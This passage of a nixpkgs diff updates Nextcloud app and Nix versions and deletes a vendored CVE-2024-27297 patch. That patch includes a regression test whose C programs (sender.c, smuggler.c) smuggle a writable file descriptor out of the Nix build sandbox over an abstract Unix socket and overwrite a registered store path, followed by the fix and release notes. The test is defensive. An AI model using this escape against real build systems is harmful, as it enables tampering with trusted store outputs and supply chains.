Setup Last.fm connection to see background information on artists, albums, and songs\n- Control with media control keys on the keyboard or OS\n- The app can handle libraries consisting of thousands of albums and tens of thousands of songs\n- Includes a server backend compatible with the Subsonic and Ampache protocols, allowing playback and browsing of your library on various external apps e.g. on Android or iPhone", "homepage": "https://github.com/owncloud/music", "licenses": [ @@ -200,9 +200,9 @@ ] }, "polls": { - "sha256": "1crs6fks9ywywyi3pnji49dxnry5vpcmd1x29y8anyp32ji2a35r", - "url": "https://github.com/nextcloud/polls/releases/download/v7.0.3/polls.tar.gz", - "version": "7.0.3", + "sha256": "1s8ym7msl4cax69kr2piphgapllsva1vjh2xb7g03yb7z1hglhjs", + "url": "https://github.com/nextcloud/polls/releases/download/v7.1.2/polls.tar.gz", + "version": "7.1.2", "description": "A polls app, similar to Doodle/Dudle with the possibility to restrict access (members, certain groups/users, hidden and public).", "homepage": "https://github.com/nextcloud/polls", "licenses": [ @@ -240,9 +240,9 @@ ] }, "richdocuments": { - "sha256": "1gbgygb7ymsg7gjb29r3caglsrimcrk7yn4kka5f8swv9b1k0qx6", - "url": "https://github.com/nextcloud-releases/richdocuments/releases/download/v8.4.2/richdocuments-v8.4.2.tar.gz", - "version": "8.4.2", + "sha256": "0x1x4x21sknih87gzqzmhxnvi1s1h4j70i4wsn7hnpdvc9j830vs", + "url": "https://github.com/nextcloud-releases/richdocuments/releases/download/v8.4.3/richdocuments-v8.4.3.tar.gz", + "version": "8.4.3", "description": "This application can connect to a Collabora Online (or other) server (WOPI-like Client). Nextcloud is the WOPI Host. Please read the documentation to learn more about that.\n\nYou can also edit your documents off-line with the Collabora Office app from the **[Android](https://play.google.com/store/apps/details?id=com.collabora.libreoffice)** and **[iOS](https://apps.apple.com/us/app/collabora-office/id1440482071)** store.", "homepage": "https://collaboraoffice.com/", "licenses": [ @@ -250,9 +250,9 @@ ] }, "spreed": { - "sha256": "106y9mbnwga7pfhydrd8rjpcr89ir3fjrdn81xykyzqwrq29fxgs", - "url": "https://github.com/nextcloud-releases/spreed/releases/download/v19.0.1/spreed-v19.0.1.tar.gz", - "version": "19.0.1", + "sha256": "1ydd156cjhjydbjmzjm0bq0garxfgbppgd7q6bfz04y10yjyjkah", + "url": "https://github.com/nextcloud-releases/spreed/releases/download/v19.0.3/spreed-v19.0.3.tar.gz", + "version": "19.0.3", "description": "Chat, video & audio-conferencing using WebRTC\n\n* π¬ **Chat** Nextcloud Talk comes with a simple text chat, allowing you to share or upload files from your Nextcloud Files app or local device and mention other participants.\n* π₯ **Private, group, public and password protected calls!** Invite someone, a whole group or send a public link to invite to a call.\n* π **Federated chats** Chat with other Nextcloud users on their servers\n* π» **Screen sharing!** Share your screen with the participants of your call.\n* π **Integration with other Nextcloud apps** like Files, Calendar, User status, Dashboard, Flow, Maps, Smart picker, Contacts, Deck, and many more.\n* π **Sync with other chat solutions** With [Matterbridge](https://github.com/42wim/matterbridge/) being integrated in Talk, you can easily sync a lot of other chat solutions to Nextcloud Talk and vice-versa.", "homepage": "https://github.com/nextcloud/spreed", "licenses": [ @@ -300,9 +300,9 @@ ] }, "user_oidc": { - "sha256": "0nl716c8jx6hhpkxjdpbldlnqhh6jsm6xx1zmcmvkzkdr9pjkggj", - "url": "https://github.com/nextcloud-releases/user_oidc/releases/download/v5.0.2/user_oidc-v5.0.2.tar.gz", - "version": "5.0.2", + "sha256": "1qarpmwk66mz6mvif0cc4jb7wi4yv76flzwhyvmzxk0ahafpi8x1", + "url": "https://github.com/nextcloud-releases/user_oidc/releases/download/v5.0.3/user_oidc-v5.0.3.tar.gz", + "version": "5.0.3", "description": "Allows flexible configuration of an OIDC server as Nextcloud login user backend.", "homepage": "https://github.com/nextcloud/user_oidc", "licenses": [ diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix index 8710b9ba785e8..9a0d43f2ac0dd 100644 --- a/pkgs/tools/package-management/nix/default.nix +++ b/pkgs/tools/package-management/nix/default.nix @@ -227,17 +227,13 @@ in lib.makeExtensible (self: ({ }; nix_2_18 = common { - version = "2.18.1"; - hash = "sha256-WNmifcTsN9aG1ONkv+l2BC4sHZZxtNKy0keqBHXXQ7w="; - patches = [ - patch-rapidcheck-shared - ./patches/2_18/CVE-2024-27297.patch - ]; + version = "2.18.4"; + hash = "sha256-tebjp83ABKrBW3d/6n/Irr1+xhtw8qIkqHZHJOoJaLk="; }; nix_2_19 = common { - version = "2.19.2"; - hash = "sha256-iA8DqS+W2fWTfR+nNJSvMHqQ+4NpYMRT3b+2zS6JTvE="; + version = "2.19.5"; + hash = "sha256-n4efeDi8KtLgkAKl5kBQ4svmdxfnRp8KrSZGrlFsr/E="; }; # The minimum Nix version supported by Nixpkgs diff --git a/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch b/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch deleted file mode 100644 index 8d110d46a6bbe..0000000000000 --- a/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch +++ /dev/null @@ -1,379 +0,0 @@ -From f8d20e91a45f71b60402f5916d2475751c089c84 Mon Sep 17 00:00:00 2001 -From: Tom Bereknyei <tomberek@gmail.com> -Date: Fri, 1 Mar 2024 03:42:26 -0500 -Subject: [PATCH 1/3] Add a NixOS test for the sandbox escape - -Test that we can't leverage abstract unix domain sockets to leak file -descriptors out of the sandbox and modify the path after it has been -registered. - -Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io> ---- - flake.nix | 2 + - tests/nixos/ca-fd-leak/default.nix | 90 ++++++++++++++++++++++++++++++ - tests/nixos/ca-fd-leak/sender.c | 65 +++++++++++++++++++++ - tests/nixos/ca-fd-leak/smuggler.c | 66 ++++++++++++++++++++++ - 4 files changed, 223 insertions(+) - create mode 100644 tests/nixos/ca-fd-leak/default.nix - create mode 100644 tests/nixos/ca-fd-leak/sender.c - create mode 100644 tests/nixos/ca-fd-leak/smuggler.c - -diff --git a/flake.nix b/flake.nix -index 230bb6031..4a54c660f 100644 ---- a/flake.nix -+++ b/flake.nix -@@ -634,6 +634,8 @@ - ["i686-linux" "x86_64-linux"] - (system: runNixOSTestFor system ./tests/nixos/setuid.nix); - -+ tests.ca-fd-leak = runNixOSTestFor "x86_64-linux" ./tests/nixos/ca-fd-leak; -+ - - # Make sure that nix-env still produces the exact same result - # on a particular version of Nixpkgs. -diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix -new file mode 100644 -index 000000000..a6ae72adc ---- /dev/null -+++ b/tests/nixos/ca-fd-leak/default.nix -@@ -0,0 +1,90 @@ -+# Nix is a sandboxed build system. But Not everything can be handled inside its -+# sandbox: Network access is normally blocked off, but to download sources, a -+# trapdoor has to exist. Nix handles this by having "Fixed-output derivations". -+# The detail here is not important, but in our case it means that the hash of -+# the output has to be known beforehand. And if you know that, you get a few -+# rights: you no longer run inside a special network namespace! -+# -+# Now, Linux has a special feature, that not many other unices do: Abstract -+# unix domain sockets! Not only that, but those are namespaced using the -+# network namespace! That means that we have a way to create sockets that are -+# available in every single fixed-output derivation, and also all processes -+# running on the host machine! Now, this wouldn't be that much of an issue, as, -+# well, the whole idea is that the output is pure, and all processes in the -+# sandbox are killed before finalizing the output. What if we didn't need those -+# processes at all? Unix domain sockets have a semi-known trick: you can pass -+# file descriptors around! -+# This makes it possible to exfiltrate a file-descriptor with write access to -+# $out outside of the sandbox. And that file-descriptor can be used to modify -+# the contents of the store path after it has been registered. -+ -+{ config, ... }: -+ -+let -+ pkgs = config.nodes.machine.nixpkgs.pkgs; -+ -+ # Simple C program that sends a a file descriptor to `$out` to a Unix -+ # domain socket. -+ # Compiled statically so that we can easily send it to the VM and use it -+ # inside the build sandbox. -+ sender = pkgs.runCommandWith { -+ name = "sender"; -+ stdenv = pkgs.pkgsStatic.stdenv; -+ } '' -+ $CC -static -o $out ${./sender.c} -+ ''; -+ -+ # Okay, so we have a file descriptor shipped out of the FOD now. But the -+ # Nix store is read-only, right? .. Well, yeah. But this file descriptor -+ # lives in a mount namespace where it is not! So even when this file exists -+ # in the actual Nix store, we're capable of just modifying its contents... -+ smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c); -+ -+ # The abstract socket path used to exfiltrate the file descriptor -+ socketName = "FODSandboxExfiltrationSocket"; -+in -+{ -+ name = "ca-fd-leak"; -+ -+ nodes.machine = -+ { config, lib, pkgs, ... }: -+ { virtualisation.writableStore = true; -+ nix.settings.substituters = lib.mkForce [ ]; -+ virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ]; -+ }; -+ -+ testScript = { nodes }: '' -+ start_all() -+ -+ machine.succeed("echo hello") -+ # Start the smuggler server -+ machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &") -+ -+ # Build the smuggled derivation. -+ # This will connect to the smuggler server and send it the file descriptor -+ machine.succeed(r""" -+ nix-build -E ' -+ builtins.derivation { -+ name = "smuggled"; -+ system = builtins.currentSystem; -+ # look ma, no tricks! -+ outputHashMode = "flat"; -+ outputHashAlgo = "sha256"; -+ outputHash = builtins.hashString "sha256" "hello, world\n"; -+ builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; -+ args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ]; -+ }' -+ """.strip()) -+ -+ -+ # Tell the smuggler server that we're done -+ machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}") -+ -+ # Check that the file was not modified -+ machine.succeed(r""" -+ cat ./result -+ test "$(cat ./result)" = "hello, world" -+ """.strip()) -+ ''; -+ -+} -diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c -new file mode 100644 -index 000000000..75e54fc8f ---- /dev/null -+++ b/tests/nixos/ca-fd-leak/sender.c -@@ -0,0 +1,65 @@ -+#include <sys/socket.h> -+#include <sys/un.h> -+#include <stdlib.h> -+#include <stddef.h> -+#include <stdio.h> -+#include <unistd.h> -+#include <fcntl.h> -+#include <errno.h> -+#include <string.h> -+#include <assert.h> -+ -+int main(int argc, char **argv) { -+ -+ assert(argc == 2); -+ -+ int sock = socket(AF_UNIX, SOCK_STREAM, 0); -+ -+ // Set up a abstract domain socket path to connect to. -+ struct sockaddr_un data; -+ data.sun_family = AF_UNIX; -+ data.sun_path[0] = 0; -+ strcpy(data.sun_path + 1, argv[1]); -+ -+ // Now try to connect, To ensure we work no matter what order we are -+ // executed in, just busyloop here. -+ int res = -1; -+ while (res < 0) { -+ res = connect(sock, (const struct sockaddr *)&data, -+ offsetof(struct sockaddr_un, sun_path) -+ + strlen(argv[1]) -+ + 1); -+ if (res < 0 && errno != ECONNREFUSED) perror("connect"); -+ if (errno != ECONNREFUSED) break; -+ } -+ -+ // Write our message header. -+ struct msghdr msg = {0}; -+ msg.msg_control = malloc(128); -+ msg.msg_controllen = 128; -+ -+ // Write an SCM_RIGHTS message containing the output path. -+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); -+ hdr->cmsg_len = CMSG_LEN(sizeof(int)); -+ hdr->cmsg_level = SOL_SOCKET; -+ hdr->cmsg_type = SCM_RIGHTS; -+ int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640); -+ memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int)); -+ -+ msg.msg_controllen = CMSG_SPACE(sizeof(int)); -+ -+ // Write a single null byte too. -+ msg.msg_iov = malloc(sizeof(struct iovec)); -+ msg.msg_iov[0].iov_base = ""; -+ msg.msg_iov[0].iov_len = 1; -+ msg.msg_iovlen = 1; -+ -+ // Send it to the othher side of this connection. -+ res = sendmsg(sock, &msg, 0); -+ if (res < 0) perror("sendmsg"); -+ int buf; -+ -+ // Wait for the server to close the socket, implying that it has -+ // received the commmand. -+ recv(sock, (void *)&buf, sizeof(int), 0); -+} -diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c -new file mode 100644 -index 000000000..82acf37e6 ---- /dev/null -+++ b/tests/nixos/ca-fd-leak/smuggler.c -@@ -0,0 +1,66 @@ -+#include <sys/socket.h> -+#include <sys/un.h> -+#include <stdlib.h> -+#include <stddef.h> -+#include <stdio.h> -+#include <unistd.h> -+#include <assert.h> -+ -+int main(int argc, char **argv) { -+ -+ assert(argc == 2); -+ -+ int sock = socket(AF_UNIX, SOCK_STREAM, 0); -+ -+ // Bind to the socket. -+ struct sockaddr_un data; -+ data.sun_family = AF_UNIX; -+ data.sun_path[0] = 0; -+ strcpy(data.sun_path + 1, argv[1]); -+ int res = bind(sock, (const struct sockaddr *)&data, -+ offsetof(struct sockaddr_un, sun_path) -+ + strlen(argv[1]) -+ + 1); -+ if (res < 0) perror("bind"); -+ -+ res = listen(sock, 1); -+ if (res < 0) perror("listen"); -+ -+ int smuggling_fd = -1; -+ -+ // Accept the connection a first time to receive the file descriptor. -+ fprintf(stderr, "%s\n", "Waiting for the first connection"); -+ int a = accept(sock, 0, 0); -+ if (a < 0) perror("accept"); -+ -+ struct msghdr msg = {0}; -+ msg.msg_control = malloc(128); -+ msg.msg_controllen = 128; -+ -+ // Receive the file descriptor as sent by the smuggler. -+ recvmsg(a, &msg, 0); -+ -+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); -+ while (hdr) { -+ if (hdr->cmsg_level == SOL_SOCKET -+ && hdr->cmsg_type == SCM_RIGHTS) { -+ -+ // Grab the copy of the file descriptor. -+ memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int)); -+ } -+ -+ hdr = CMSG_NXTHDR(&msg, hdr); -+ } -+ fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection"); -+ close(a); -+ -+ // Wait for a second connection, which will tell us that the build is -+ // done -+ a = accept(sock, 0, 0); -+ fprintf(stderr, "%s\n", "Got a second connection, rewriting the file"); -+ // Write a new content to the file -+ if (ftruncate(smuggling_fd, 0)) perror("ftruncate"); -+ char * new_content = "Pwned\n"; -+ int written_bytes = write(smuggling_fd, new_content, strlen(new_content)); -+ if (written_bytes != strlen(new_content)) perror("write"); -+} --- -2.42.0 - - -From 4bc5a3510fa3735798f9ed3a2a30a3ea7b32343a Mon Sep 17 00:00:00 2001 -From: Tom Bereknyei <tomberek@gmail.com> -Date: Fri, 1 Mar 2024 03:45:39 -0500 -Subject: [PATCH 2/3] Copy the output of fixed-output derivations before - registering them - -It is possible to exfiltrate a file descriptor out of the build sandbox -of FODs, and use it to modify the store path after it has been -registered. -To avoid that issue, don't register the output of the build, but a copy -of it (that will be free of any leaked file descriptor). - -Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io> -Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io> ---- - src/libstore/build/local-derivation-goal.cc | 6 ++++++ - src/libutil/filesystem.cc | 6 ++++++ - src/libutil/util.hh | 7 +++++++ - 3 files changed, 19 insertions(+) - -diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc -index 64b55ca6a..f1e22f829 100644 ---- a/src/libstore/build/local-derivation-goal.cc -+++ b/src/libstore/build/local-derivation-goal.cc -@@ -2558,6 +2558,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() - [&](const DerivationOutput::CAFixed & dof) { - auto & wanted = dof.ca.hash; - -+ // Replace the output by a fresh copy of itself to make sure -+ // that there's no stale file descriptor pointing to it -+ Path tmpOutput = actualPath + ".tmp"; -+ copyFile(actualPath, tmpOutput, true); -+ renameFile(tmpOutput, actualPath); -+ - auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating { - .method = dof.ca.method, - .hashType = wanted.type, -diff --git a/src/libutil/filesystem.cc b/src/libutil/filesystem.cc -index 11cc0c0e7..2a7787c0e 100644 ---- a/src/libutil/filesystem.cc -+++ b/src/libutil/filesystem.cc -@@ -133,6 +133,12 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete) - } - } - -+ -+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete) -+{ -+ return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete); -+} -+ - void renameFile(const Path & oldName, const Path & newName) - { - fs::rename(oldName, newName); -diff --git a/src/libutil/util.hh b/src/libutil/util.hh -index b302d6f45..59d42e0a5 100644 ---- a/src/libutil/util.hh -+++ b/src/libutil/util.hh -@@ -274,6 +274,13 @@ void renameFile(const Path & src, const Path & dst); - */ - void moveFile(const Path & src, const Path & dst); - -+/** -+ * Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is -+ * `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but -+ * with the guaranty that the destination will be βfreshβ, with no stale inode -+ * or file descriptor pointing to it). -+ */ -+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete); - - /** - * Wrappers arount read()/write() that read/write exactly the --- -2.42.0 - - -From 9e7065bef5469b3024cde2bbc7745530a64fde5b Mon Sep 17 00:00:00 2001 -From: Tom Bereknyei <tomberek@gmail.com> -Date: Fri, 1 Mar 2024 04:01:23 -0500 -Subject: [PATCH 3/3] Add release notes - -Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io> ---- - doc/manual/src/release-notes/rl-next.md | 8 ++++++++ - 1 file changed, 8 insertions(+) - -diff --git a/doc/manual/src/release-notes/rl-next.md b/doc/manual/src/release-notes/rl-next.md -index c869b5e2f..f77513385 100644 ---- a/doc/manual/src/release-notes/rl-next.md -+++ b/doc/manual/src/release-notes/rl-next.md -@@ -1 +1,9 @@ - # Release X.Y (202?-??-??) -+ -+- Fix a FOD sandbox escape: -+ Cooperating Nix derivations could send file descriptors to files in the Nix -+ store to each other via Unix domain sockets in the abstract namespace. This -+ allowed one derivation to modify the output of the other derivation, after Nix -+ has registered the path as "valid" and immutable in the Nix database. -+ In particular, this allowed the output of fixed-output derivations to be -+ modified from their expected content. This isn't the case any more. --- -2.42.0 - |